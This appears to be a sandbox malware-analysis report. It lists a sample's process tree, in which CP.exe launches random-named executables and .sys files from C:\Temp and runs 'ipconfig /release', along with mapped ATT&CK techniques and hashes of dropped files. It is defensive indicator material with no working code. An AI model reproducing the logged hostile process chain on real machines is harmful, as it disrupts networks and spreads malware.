- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\mgeywromge.exe ups_run
  2⤵
  PID:6064
- - C:\Temp\mgeywromge.exe
    C:\Temp\mgeywromge.exe ups_run
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5492
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      PID:1772
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:5792
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_mgeywromge.exe ups_ins
  2⤵
  PID:4716
- - C:\Temp\i_mgeywromge.exe
    C:\Temp\i_mgeywromge.exe ups_ins
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:1400

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:5728

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start
1⤵
PID:1928

C:\Temp\bzwrojhbzt.sys
C:\Temp\bzwrojhbzt.sys
1⤵
- Executes dropped EXE
PID:4464

C:\Temp\dbwtolgeyw.sys
C:\Temp\dbwtolgeyw.sys
1⤵
- Executes dropped EXE
PID:3040

C:\Temp\tnlgdywqoi.sys
C:\Temp\tnlgdywqoi.sys
1⤵
- Executes dropped EXE
PID:3560

C:\Temp\tnlgdyvqoi.sys
C:\Temp\tnlgdyvqoi.sys
1⤵
- Executes dropped EXE
PID:4356

C:\Temp\snkicavsnl.sys
C:\Temp\snkicavsnl.sys
1⤵
- Executes dropped EXE
PID:4416

C:\Temp\xsqkicausn.sys
C:\Temp\xsqkicausn.sys
1⤵
- Executes dropped EXE
PID:5604

C:\Temp\ausmkecxup.sys
C:\Temp\ausmkecxup.sys
1⤵
- Executes dropped EXE
PID:2076

C:\Temp\khcausmkec.sys
C:\Temp\khcausmkec.sys
1⤵
- Executes dropped EXE
PID:1632

C:\Temp\jebwuomgez.sys
C:\Temp\jebwuomgez.sys
1⤵
- Executes dropped EXE
PID:5452

C:\Temp\omjdbwtomg.sys
C:\Temp\omjdbwtomg.sys
1⤵
- Executes dropped EXE
PID:1128

C:\Temp\wqoigdywqo.sys
C:\Temp\wqoigdywqo.sys
1⤵
PID:252

C:\Temp\gdyoigayvq.sys
C:\Temp\gdyoigayvq.sys
1⤵
PID:1912

C:\Temp\lfdxvqniga.sys
C:\Temp\lfdxvqniga.sys
1⤵
PID:4884

C:\Temp\kfcxvpnhfa.sys
C:\Temp\kfcxvpnhfa.sys
1⤵
PID:480

C:\Temp\cxupnhfzxr.sys
C:\Temp\cxupnhfzxr.sys
1⤵
PID:476

C:\Temp\usmkecwurm.sys
C:\Temp\usmkecwurm.sys
1⤵
PID:2204

C:\Temp\wuomgezwrp.sys
C:\Temp\wuomgezwrp.sys
1⤵
PID:4576

C:\Temp\wuomgeywro.sys
C:\Temp\wuomgeywro.sys
1⤵
PID:4832

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Time Discovery

T1124

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

CP.exe

Path C:\Temp\CP.exe
Size 4KB
SHA256 50b00a0816849edcc24eec9cfdd5443dbf33409ae05ee84202bfbcd00094485a
MD5 00d08d31f0ca0be125aa8ddb1c068a26
SHA1 c5e5cf5c0cb8a03c9146f5cd923cd620417eb75e
SHA512 6b5fe5899aa47239b53bc8dbd5ce6d9616ed2b0480fe55c34c27d6956f792a9c0796fe0dcd8949395284c3f5c59563efe333cc3e4e449fa9e9b7c219c88242a3
SSDEEP 48:i+HOtYCgTU534sKXG5BrBfdQSBe2nLB8JsU:fOWS3tpJ5un
TLSH
T11B912E2301A68472C8BD8FF711875AC9FABB51349322210C4BF70ED6EB70AB7446CB08
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

bzwrojhbzt.sys

Path C:\Temp\bzwrojhbzt.sys
Size 141KB
SHA256 b88057f61583701c0c82bb09d3802ec84f7eb067e3e9c321e6713181c9079351
MD5 20d287c76b7a653343eb35c906c2db93
SHA1 03b5dc29da7a5903500bd281783fce2dba5ba622
SHA512 2abd86d04de3eaac0dc63983c582253218eba3c5765fe8432ce0e3d61545f2af8c46c83c879a3012d808369c56030ed37cf10c4c792db9e60b847f18dce0f135
SSDEEP 3072:msQB8BPFvdRcF8rFz1wxayNM3coteYnwrZ:msQmpcF8BzXfwV
TLSH
T13EE38D02B2D1D172E8A618BC106AC72196BE79304F76D9C3FB950BAD5E683D0B93531F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

dbwtolgeyw.sys

Path C:\Temp\dbwtolgeyw.sys
Size 141KB
SHA256 8aa58664415a87a2695e2e1267cab1adc9682bdca3987368f3044d7b59acb2f2
MD5 67f556b6487eabe98ab4ab3f154ff1b6
SHA1 aced1141c791bc7c391fbaaeabebaac8b091d1dd
SHA512 ccc85184ba81beccf36bdb659947a7088da506f565c8d2e26c1cc04b635e9056eb2e1a905706e54396aef016e5e9d1a1dbf8ba5e177ecdc177f2d77774bab312
SSDEEP 3072:wsQB8BPFvdRcF8rFz1wxayNM3coteYnwrZ:wsQmpcF8BzXfwV
TLSH
T11FE38D02B2D1D172E8A618BC106AC72196BE79304F76D9C3FB950BAD5E683D0B93531F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_igbytqljdb.exe

Path C:\Temp\i_igbytqljdb.exe
Size 230KB
SHA256 7ea93a696dc6379900491d6325754e8e84ce8b4476247f1bc5b16083175b7a8d
MD5 5bcbb82ff99b49b27bbd1dbea7e26dd2
SHA1 892ebd141e30506fe0c1baacb47feb498c01a30d
SHA512 bf50a413b2f42455c9f6742086e8d78d17225b6e628917ac92a26a40371a7cb8a2dc3fbee0c193fca67642fca40cea360d6401588028eef3b8bda60c12fc0eee
SSDEEP 3072:WdJWhLPcg3TC0sQB8BPFvdRcF8rFz1wxayNM3coteYnwrZCkQI9C:YghLQ0sQmpcF8BzXfwVfQI
TLSH
T199344A1272808071E7560B78046AE7A14A7E7D344BA5E68FF7A43F795E302D3A93721F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_lfdxvqniga.exe

Path C:\Temp\i_lfdxvqniga.exe
Size 230KB
SHA256 0f2164e6635651e8152478b435f28b294f861f706bb5a86aa141f85199559208
MD5 f23833e8a33e7083be2cc3237ef9ac8f
SHA1 43ec381503473a5675b6dfd8a8f38773e61c65b8
SHA512 6f661431a1731d4d82880767d4a2652a9568261ae7ed3c74e2682b688e42998727aa08e892c1f169ffc04f1ba2b995e57066c263d0972453653c96049ae50c7d
SSDEEP 3072:eJWhLPcg3TC0sQB8BPFvdRcF8rFz1wxayNM3coteYnwrZCkQI9:eghLQ0sQmpcF8BzXfwVfQI
TLSH
T1BF344A1272808071E7560B78046AE7A14A7E7D344BA5E68FF7A43F795E302D3A93721F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_rojhbztrlj.exe

Path C:\Temp\i_rojhbztrlj.exe
Size 230KB
SHA256 edcce9335e2c42d5adce5074035ff4db3f1aa4fc3b895dc83994e149703b0267
MD5 cf296ffc9302417766d5a505d95ba207
SHA1 30a05090626c7537e45fb91a0d86cd15535eea9c
SHA512 63b3811ac0593e8e4a75ab905ae9faa195ce1956ed771e124f8670fa8c8bc9f7d617d1b641031d3867739b62758cd5c514b049698f0ca0cd74bc03e8a5cabfc0
SSDEEP 3072:wJWhLPcg3TC0sQB8BPFvdRcF8rFz1wxayNM3coteYnwrZCkQI9:wghLQ0sQmpcF8BzXfwVfQI
TLSH
T183344A1272808071E7560B78046AE7A14A7E7D344BA5E68FF7A43F795E302D3A93721F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_tomgeztolj.exe

Path C:\Temp\i_tomgeztolj.exe
Size 230KB
SHA256 ca3a30bdf3aab9381682a6fe459c60f9c30fc4963700f951bfa5182688302e31
MD5 7708f2795e6af143af64e4b238c501ed
SHA1 b51571493ef6c5626471b4b26cef74298fea7c7c
SHA512 76ef98b5e962e6aebaeb38bda7c722f747355eb2af26aa3ba51013a9c72950d3752424e8050d136644eed1c6a64cf08a94c91dbcfc49133e3d48f0326ec95c19
SSDEEP 3072:9JWhLPcg3TC0sQB8BPFvdRcF8rFz1wxayNM3coteYnwrZCkQI9:9ghLQ0sQmpcF8BzXfwVfQI
TLSH
T1D3344A1272808071E7560B78046AE7A14A7E7D344BA5E68FF7A43F795E302D3A93721F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_uomhezusjh.exe

Path C:\Temp\i_uomhezusjh.exe
Size 230KB
SHA256 7bdc03df6f7954ea2ffa4d357395150942eb99a843ca299dce2e1314ab1722b8
MD5 8f17f2677ba9a838d2b76b23f256d26f
SHA1 6ccd0bc122b073ae16dcc77bc29e53065ae7249d
SHA512 739ec541b46d6d2d09a485047f32bc201d0b6d2c01d2f17ace496ca16531f7ec210a3012383b71ab32b3e1c6abe055c81c9f1b3f919f14caaa99adbd46ec2d00
SSDEEP 3072:9JWhLPcg3TC0sQB8BPFvdRcF8rFz1wxayNM3coteYnwrZCkQI9:9ghLQ0sQmpcF8BzXfwVfQI
TLSH
T143344A1272808071E7560B78046AE7A14A7E7D344BA5E68FF7A43F795E302D3A93721F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_xvtnlfdyvq.exe

Path C:\Temp\i_xvtnlfdyvq.exe
Size 230KB
SHA256 23096634ded1825716c545b96613c425ce03f734f1f60ef4690ccc6bb4307513
MD5 e11351d5ecd3968684a8036ff7661e99
SHA1 112fabee6006474c08105bf12ad53eb21bb9ce25
SHA512 cf459489f15771604ebe439c69796dc6b92b5612ff5e593d0654cae5e2643d43c8adfc9680b5cc9e1fc082a7f1334e67df8f2992d9aaeb180264438b31edafc9
SSDEEP 3072:lJWhLPcg3TC0sQB8BPFvdRcF8rFz1wxayNM3coteYnwrZCkQI9:lghLQ0sQmpcF8BzXfwVfQI
TLSH
T10C344A1272808071E7560B78046AE7A14A7E7D344BA5E68FF7A43F795E302D3A93721F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

igbytqljdb.exe

Path C:\Temp\igbytqljdb.exe
Size 230KB
SHA256 7bb53236852c9f60abbd6456977e41920533ac5c87db5aeeeb95c9a0738be21a
MD5 2810fe047d7a7df877b00ce0c0e191e7
SHA1 a07976e84ae81b68e49fb2421f75132432cd3036
SHA512 e2648baad36b4e7eb809516b785120cbb12874195c90d0d8ce0c906718338cc42391cb7ae7f9ae55744e3df3c3add68f24f67121c1233b59cd52e89ab73b70e3
SSDEEP 3072:RJWhLPcg3TC0sQB8BPFvdRcF8rFz1wxayNM3coteYnwrZCkQI9:RghLQ0sQmpcF8BzXfwVfQI
TLSH
T1E0344A1272808071E7560B78046AE7A14A7E7D344BA5E68FF7A43F795E302D3A93721F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

lfdxvqniga.exe

Path C:\Temp\lfdxvqniga.exe
Size 230KB
SHA256 3033b830a5b3240cf81e6317c22bfd237bc0359cb6e3209592b06b64f188a3dc
MD5 ef8225f2bc5c732d6cb4286950d01af2
SHA1 62447f2ab999b7ff5d5a776f228e129ff0806d2e
SHA512 04bff17c87f669819ae6292b117dcd3807d3dc96f588c7199ef8d04ab1b0bc263e561cf892c6dc2b3b18637bcd4a4dce214d5a17a067393b88fe299a302d6105
SSDEEP 3072:hJWhLPcg3TC0sQB8BPFvdRcF8rFz1wxayNM3coteYnwrZCkQI9:hghLQ0sQmpcF8BzXfwVfQI
TLSH
T1DE344A1272808071E7560B78046AE7A14A7E7D344BA5E68FF7A43F795E302D3A93721F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

rojhbztrlj.exe

Path C:\Temp\rojhbztrlj.exe
Size 230KB
SHA256 36c1f09bd9fe28f3281b36eda76198056a8645f9dc38f392452ef4c4ca271f01
MD5 e87a247d80e7a285b34704e87fb747f8
SHA1 5d9b2966c9762d020e80da6e716491b812ae0510
SHA512 d394360f0dc30c9ed649aa8438f8c551a7100ee90d5cf2283b745fdbecfa0b15f46179e45ba78070bdafa189b9072d83f7895616f3ad91b5e28345a627423696
SSDEEP 3072:qJWhLPcg3TC0sQB8BPFvdRcF8rFz1wxayNM3coteYnwrZCkQI9:qghLQ0sQmpcF8BzXfwVfQI
TLSH
T177344A1272808071E7560B78046AE7A14A7E7D344BA5E68FF7A43F795E302D3A93721F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

snkicavsnl.sys

Path C:\Temp\snkicavsnl.sys
Size 141KB
SHA256 c578cada21e45325587151278ff9227713a0f905d3439300c84737af523ec8cf
MD5 887a933b2c82809d526a7346ece19f5c
SHA1 f86fecd0310da0da33f03e16a6593608c2500d3b
SHA512 422e9d165d6e7318eff6d422e22dbfa736aebe871505f750a07f223579bfa3a7d2ea36a78132c883fca4308fef91466aa15fa0b93ea19853b48da121d16c628d
SSDEEP 3072:qsQB8BPFvdRcF8rFz1wxayNM3coteYnwrZ:qsQmpcF8BzXfwV
TLSH
T1F8E38D12B2D1D172E8A618BC106AC72186BE79304F76D9C3FB940BAD5E683D0B83531F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

tnlgdyvqoi.sys

Path C:\Temp\tnlgdyvqoi.sys
Size 141KB
SHA256 c0582d6d6eaf660a3aa28537c67a197638c6f6e2f5a869f8b244194e74a4e08d
MD5 d034c5340f5a04c37f78f4e7ba160442
SHA1 b9ca0013a514be348bdeb380e7c2e79e5738602c
SHA512 79550ba63d9047c4dd1356b887cfe112db3197c8cfb7125b783b83f44ae0d5343093573ba8a29e6b8f23355fdfe56012222ca1d6bc069039ac993d121c7e77fc
SSDEEP 3072:gsQB8BPFvdRcF8rFz1wxayNM3coteYnwrZ:gsQmpcF8BzXfwV
TLSH
T135E38D12B2D1D172E8A618BC106AC72196BE79304F76D9C3FB950BAD5E683D0B83531F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

tnlgdywqoi.sys

Path C:\Temp\tnlgdywqoi.sys
Size 141KB
SHA256 3fde3d0854990fad91384c9d5037398e841545a17929b5aaed56e8b5edc95398
MD5 0cf7c2c715b2679a5c495a8f8774ebe3
SHA1 244ef35acecb5a81d59dd42b5273ba4b3eaeda1a
SHA512 daa3be34317ba7976132c3a5db615899a7475a3ab269afd77138e1dff12e6c5f3357dcb57dd29e9dac0e759c8b5f46471b26533d1ea0a23cac51fc69766d92b3
SSDEEP 3072:rsQB8BPFvdRcF8rFz1wxayNM3coteYnwrZ:rsQmpcF8BzXfwV
TLSH
T11DE38D02B2D1D172E8A618BC106AC72196BE79304F76D9C3FB940BAD5E683D0B83531F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

tomgeztolj.exe

Path C:\Temp\tomgeztolj.exe
Size 230KB
SHA256 2114e35d58ed8b3561467125017ad632a37a012dc1cc1b1d3b29fbf011397d57
MD5 753ae9f68071f14e47fb92b2d7f4bf51
SHA1 4d570e81e994602b9faba507ec9f04abb6b2cdb2
SHA512 7bc025f229bd26ccf0e46a3eea9ba2de4dba251c20ac9d55b3e2962a66dafea0e66ff4dae96c8d8c8442eff5e728f2e58f95ae04384c0879904750371bc2e737
SSDEEP 3072:oJWhLPcg3TC0sQB8BPFvdRcF8rFz1wxayNM3coteYnwrZCkQI9:oghLQ0sQmpcF8BzXfwVfQI
TLSH
T1B5344A1272808071E7560B78046AE7A14A7E7D344BA5E68FF7A43F795E302D3A93721F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

uomhezusjh.exe

Path C:\Temp\uomhezusjh.exe
Size 230KB
SHA256 0b599a95ba0273c52cb9a3f6652966a99aad051cd25b8e0f0fadb2d3ed2fed00
MD5 ec9e3bca2062430d2df4811d027411df
SHA1 61ba2fcf43865ded502ef28bfc9a96eb3a33601c
SHA512 ea9f60a14b81d7fbe727c7048ba792bf7432e8200d182a771c0ffc2abc0b3d9d14600d6419f10b418253aeb73e297098b2ccd24afd9a35db59091395dad8b54b
SSDEEP 3072:/JWhLPcg3TC0sQB8BPFvdRcF8rFz1wxayNM3coteYnwrZCkQI9:/ghLQ0sQmpcF8BzXfwVfQI
TLSH
T1E5344A1272808071E7560B78046AE7A14A7E7D344BA5E68FF7A43F795E302D3A93721F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

xvtnlfdyvq.exe

Path C:\Temp\xvtnlfdyvq.exe
Size 230KB
SHA256 efdb9ffd08b7012b41d0ab42b56512e7a3b5a8079769fa2b2471d0fe299a3129
MD5 1e7c913cb9c91514352819515e93ace4
SHA1 35d4b6dbef7484d34e043d2131af2d8d1f0950f1
SHA512 d387e4bb00c29d22b6c429c4aaf26d0eee0f6a677865e5fdc6b3f00db9316893a49fdc441306117a652670968f94261528f648d2b5394f93a5252f147ca3e8f5
SSDEEP 3072:OJWhLPcg3TC0sQB8BPFvdRcF8rFz1wxayNM3coteYnwrZCkQI9:OghLQ0sQmpcF8BzXfwVfQI
TLSH
T181344A1272808071E7560B78046AE7A14A7E7D344BA5E68FF7A43F795E302D3A93721F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 99348710dfa24f06e3cc9e5d66d99b450d2606932193b821d1cccbb1b0382494
MD5 99dd082560f2d99883b896493c6f1a16
SHA1 8c1328ed9b1727d8e368914ffd96b9d8d9882e17
SHA512 2eac54e4bf6c56c6a86be1ac66b75e47cf5afa02dca24674366691d2eae08e023308cf9c0e790eecff6d37160a3b4bc6aa0d7b2cbe2bf4b7074898f149ff8bfb
TLSH
T11DD09BE56640D94DC58020721593D555F5705931D80553C85001743DDC952C703574EF
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 f2f36159b1a73a0ea0e59f51f1f373932375016885fcf17933887e7d1b2c3016
MD5 2dd00ee0ca93975f2038728e856681d5
SHA1 24fcfdb6befe18bca66bab129cd0fba4ad709e15
SHA512 d734e4919f2bc11b3e1a733c99b812ac0c7d2d76c45401d957b2b60a896b0bfc172f211ec13501d83d82cd3445e59aa5e9e4a25b2d71ff9d2f99bdb12460b4e4
TLSH
T10FD09BE56640D94DC58020721593D555F5705931D40553C85101B43DDC952C703574DB
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index
Size 3KB
SHA256 a024e7bae50a9d47887311eb16377b5f09a93678da2c0ee9715b780e349afc9b
MD5 fb41df2d8680b1bbc95dc681990f1669
SHA1 f546febb1af9003824e220a021270a5c8062952c
SHA512 cc2623f6f2bc9028918b128d85d9ec5ba66b68176a77b6ad87c48a4bdc40dd7643ead46e9fb43c576cc7a19a7bc37990854010d0e01270d8dcc096efba5c0b77
TLSH
T1DA615D7683754BF2CB95DE7D0DE10489BAB3881622037E165CB8A3748C7E7449083730
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index~RFe5976bd.TMP

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index~RFe5976bd.TMP
Size 3KB
SHA256 dd0b261664b22f2ca2a80a540f0c7af9763470c4847daa98250620835b1de28d
MD5 f1162b09d6627d64b041a997ba995e90
SHA1 1137b412d9008bb5a5f04acae4552b00f0e031bd
SHA512 e8920b5ebf63f8048ec8d18438b292fc2772cb5275bbd2d81f4d6fd2311cb5f9ff55b20b09013bd51aeaca8341218711725b9cec88305ff0844058b06001678c
TLSH
T1F0613D7683754BF2CB95DEBD0DE10489BAB2885622037E165CB8A3748C7E7449493730
MD5 SHA1 SHA512 TLSH

Submit Download

SiteList-Enterprise.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\DualEngine\SiteList-Enterprise.json
Size 2B
SHA256 44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a
MD5 99914b932bd37a50b983c5e7c90ae93b
SHA1 bf21a9e8fbc5a3846fb05b4fa0859e0917b2202f
SHA512 27c74670adb75075fad058d5ceaf7b20c4e7786c83bae8a32f626f9782af34c9a33c2046ef60fd2a7878d378e29fec851806bbd9a67878f3a9f1cda4830763fd
MD5 SHA1 SHA512

Submit Download

Edge Profile.ico

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Edge Profile.ico
Size 70KB
SHA256 31a226211c491e1b0832d4cd3cf34d97165e24a7ce4ec655259cd188f3a2bd88
MD5 efe54a870e0f5ff28d7e00036b861065
SHA1 10663a71c9815382ca5a1689dfcebe737c557b1d
SHA512 4d7ed9d3e22a58f0e169c9200e351d3a938c82ab7920567f67bf29d33b28192329ea05657d1077aebaf2c2b5151eb50c84e5ab590733ff824389566d93381c01
SSDEEP 1536:fAlMWz7vLDtDSVlXXwpFlorgLUxF+nubjUDSlBczkF1D/u1:fvuWAUxFDbY+0zkjDG1
TLSH
T1DA639F406A6479E8E814CBF59C69B7D30B95CFDC51A252E831F4FE7AB681494C90CFC4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

97cb3f54-f292-4946-8129-329fecb1b876.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\97cb3f54-f292-4946-8129-329fecb1b876.tmp
Size 2KB
SHA256 f934ce8141ce7e760c4266cde236ab9e9cf9bf34f8966b039f6fafbe52ec0dfb
MD5 84c0dbcc9a97c034323a7796b5aea56b
SHA1 28ad52424c3729fd66cda93f08cee497714d9318
SHA512 6a29ddb06e991e19d38db9de81add9eb16d261d37a63247e03cddbde36026e3ac1cc8207272b24fdaac266924a3154016f124d991254cb0b784fb9928eba913a
TLSH
T1A051BDF3C3E8866D8A1149F4BA287E2BCE1D0915432C3D5AC9E4EF1B93E2471E14195F
MD5 SHA1 SHA512 TLSH

Submit Download

SCT Auditing Pending Reports

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

Sdch Dictionaries

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries
Size 40B
SHA256 6028bd681dbf11a0a58dde8a0cd884115c04caa59d080ba51bde1b086ce0079d
MD5 20d4b8fa017a12a108c87f540836e250
SHA1 1ac617fac131262b6d3ce1f52f5907e31d5f6f00
SHA512 507b2b8a8a168ff8f2bdafa5d9d341c44501a5f17d9f63f3d43bd586bc9e8ae33221887869fa86f845b7d067cb7d2a7009efd71dda36e03a40a74fee04b86856
MD5 SHA1 SHA512

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 13KB
SHA256 1dc0bf12f78de08da59df7023ca3f9e66eec2065dc4f00dd85fd6320b8b0d259
MD5 1237a8e6e9b86e4bf258f38bd5b39cd6
SHA1 b5b93ef9858c11336d0180358ce8aa062e1f05f6
SHA512 dd652a8adfe5a7fa5f2aeadbf9e6f15139dabd4c424a4978bf281d4fd52303811a4e955f58520bf22e4135dfb0507312f5ddbdf6633829246657e736c3af356b
SSDEEP 384:sxRTqUou8O5e/fp2sIJQ3qELEi/5IV73ec3:sjGye/fwJ4/5IVz
TLSH
T1CD52E8156A249977DCCBD20DFA517F53D6F95573A2901E04AAFCCA0C01EBAED221382F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 14KB
SHA256 afde4b9f13deaef92def7a0747e11896cb76c90bd5c5eb3d5d5b9d67493b41f9
MD5 6b0715bb30b1605faf8c7b927fe6c703
SHA1 be2f5f5c6c051a2103440444676cd781472d1d37
SHA512 3a61493336e4577dc4e8a7526595e179c54ef9f0ead37831b7fd2c27daf22d198e999b03f67329ccb5d13ac4bb8ddf8d4aba177d3138b0e84eea7e041a22ccea
SSDEEP 384:sxRTnUoWqUO5e/fp2sN8Q3qMLEF/5I573ecZ:sMGUye/fl8z/5I5N
TLSH
T17762E8166A249977DCCBD209FA527F53D6F85573A2941E08AAFCCB0C01E76DD220382F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 14KB
SHA256 ec6d46bd77449c05a0c3a653414c8f22c4209c41d5b9ead4a57768a1a15f5c71
MD5 75a5bce697b0d57ebe535336100eabdc
SHA1 9877ab3296bd61cde65130230663b9021d7e1da2
SHA512 31127f83300714ff6d98e837c1c1f703541d0d314771318cd84891b743709cb9594ed940c2c2d666510137dd9b8c60224f3b196f00ad438461b255a3ba3e1660
SSDEEP 384:sxRTnUoW8O5e/fp2sNJQ3qMLE7/5I573ecP:sMIye/flJx/5I5j
TLSH
T11262E8166A249977DCCBD209FA517F53D6F85573A2901E08AAFC8B0C01EB6DD221382F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Secure Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences
Size 32KB
SHA256 52e7743d829367712af55abd1a44baa665994cdbce09bb4f63dd18df8b0c5fff
MD5 fc407d7c8f97e5838f129205976205d9
SHA1 9a454821d138471e96fe15ab8bfaf51ae4265975
SHA512 eb2717081a57fc6045c8271cd4a5db9f00b26fb2e0bacccdf5a328ac9b842296878a2963d876735d694d55b7f1fd4fa8371c2547effa116bd990fbbbc6e382a8
SSDEEP 768:5+McBM7pLuL7MpWgFZfsl8F1+UoAYDCx9Tuqh0VfUC9xbog/OVc7fj/e1roVXR:5+McBwE7MpWgFZfslu1jan7fTeOVXR
TLSH
T1A6E2EC3B680CCB7F4F804A9CEC25B99A6DE801CF96D8C95447FA840C03C66EB561B5DB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 38KB
SHA256 b4ec78982f7b261b4de0cb3d2fb030e0cad0aed15ab735873d64fb41e248c35c
MD5 54cc02876264b2295dfff42719da6b02
SHA1 6f994d9954b9962921d1b7a6ad454b2edb5235b7
SHA512 a3b4abd14db1f65987e43edf0a52f4e868ba4421806242c05569a13871272be78941dae5743497e44ff58044a9192ee100e7a75fce6d485b25b368648b428496
SSDEEP 768:Dirv+4UNbdl3DvLvJGkMf5g5WFbxsz56f0+ynobAUixK:Dibsbr3bQfe5WkQ50UX
TLSH
T17603CF36E86489B79EF3D685B24B36477FB811A3D6C10E84C9DD3B0C469B49D2307863
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 36KB
SHA256 d415b8aee9af64ed5e12cee29966f0583d81c6f75d36a9457283c1a318ba59e7
MD5 268099e5140493c3c96fcf6ff6d78c9b
SHA1 964c7191af5d84ee20f3a60efd0fc9715553ac52
SHA512 352e8b7a55b9c4597da4192ae6e5dcaa5b0248296df3034ad3dff067b2ab4e4ae6e64a47e9c9299114dcda6d73b2accd4e7562e60bc75994132f295de3873cf3
SSDEEP 768:3fj+9E3vj20if5eSC5se5WFbxsz56f0+ynob6b9MNu:3S9E3sflCye5WkQ5mb+Nu
TLSH
T1D8F29E35EC26CEA76DE38685B3573A8BAEE4166386C81DC8C9DD6F0C04C369D5707816
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 38KB
SHA256 56f5e6b61c79421510dfa42571495fb22e2c86a4c35074f169de84b0c94f2b79
MD5 839cd5ab4f4e1986a9ea6c3dcb2b6ec0
SHA1 acd3322d5e72a401f3dad1f39f0c60fc7dbf142e
SHA512 54d34c3aef993ec8a452643364c702d79be335c5fb12ae84b519d1530183b4f32f9d874b45424145ec532cafa505dc4740f03cfec348a9d5a7c0080c63742550
SSDEEP 768:BYrv+4UNbdl3yp2FJGkMf5eSC5sx5WFbxsz56f0+ynob6/:BYbsbr32flCyx5WkQ5m/
TLSH
T1C003C031B86989B35DF79948F25736877EB815A3CAC50E98C5DD6B0C05879DE230BC13
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 35KB
SHA256 c702e3fac5e5f6cf694a9897332d77e5fe5e0124f4510fe3dd06a2f4db3253df
MD5 fa32eacf00507c3dbb00fd00265563a8
SHA1 6060d45c7900e4c975f3cbc3b9ad477324146251
SHA512 f5c43f3f57083a844a6a4110da12e901e1a99a8e4a13899c21fb83c2f53af8d6710a6a4676277414d6dff7bd801a9a306f14060633b307365da27e3f2a958feb
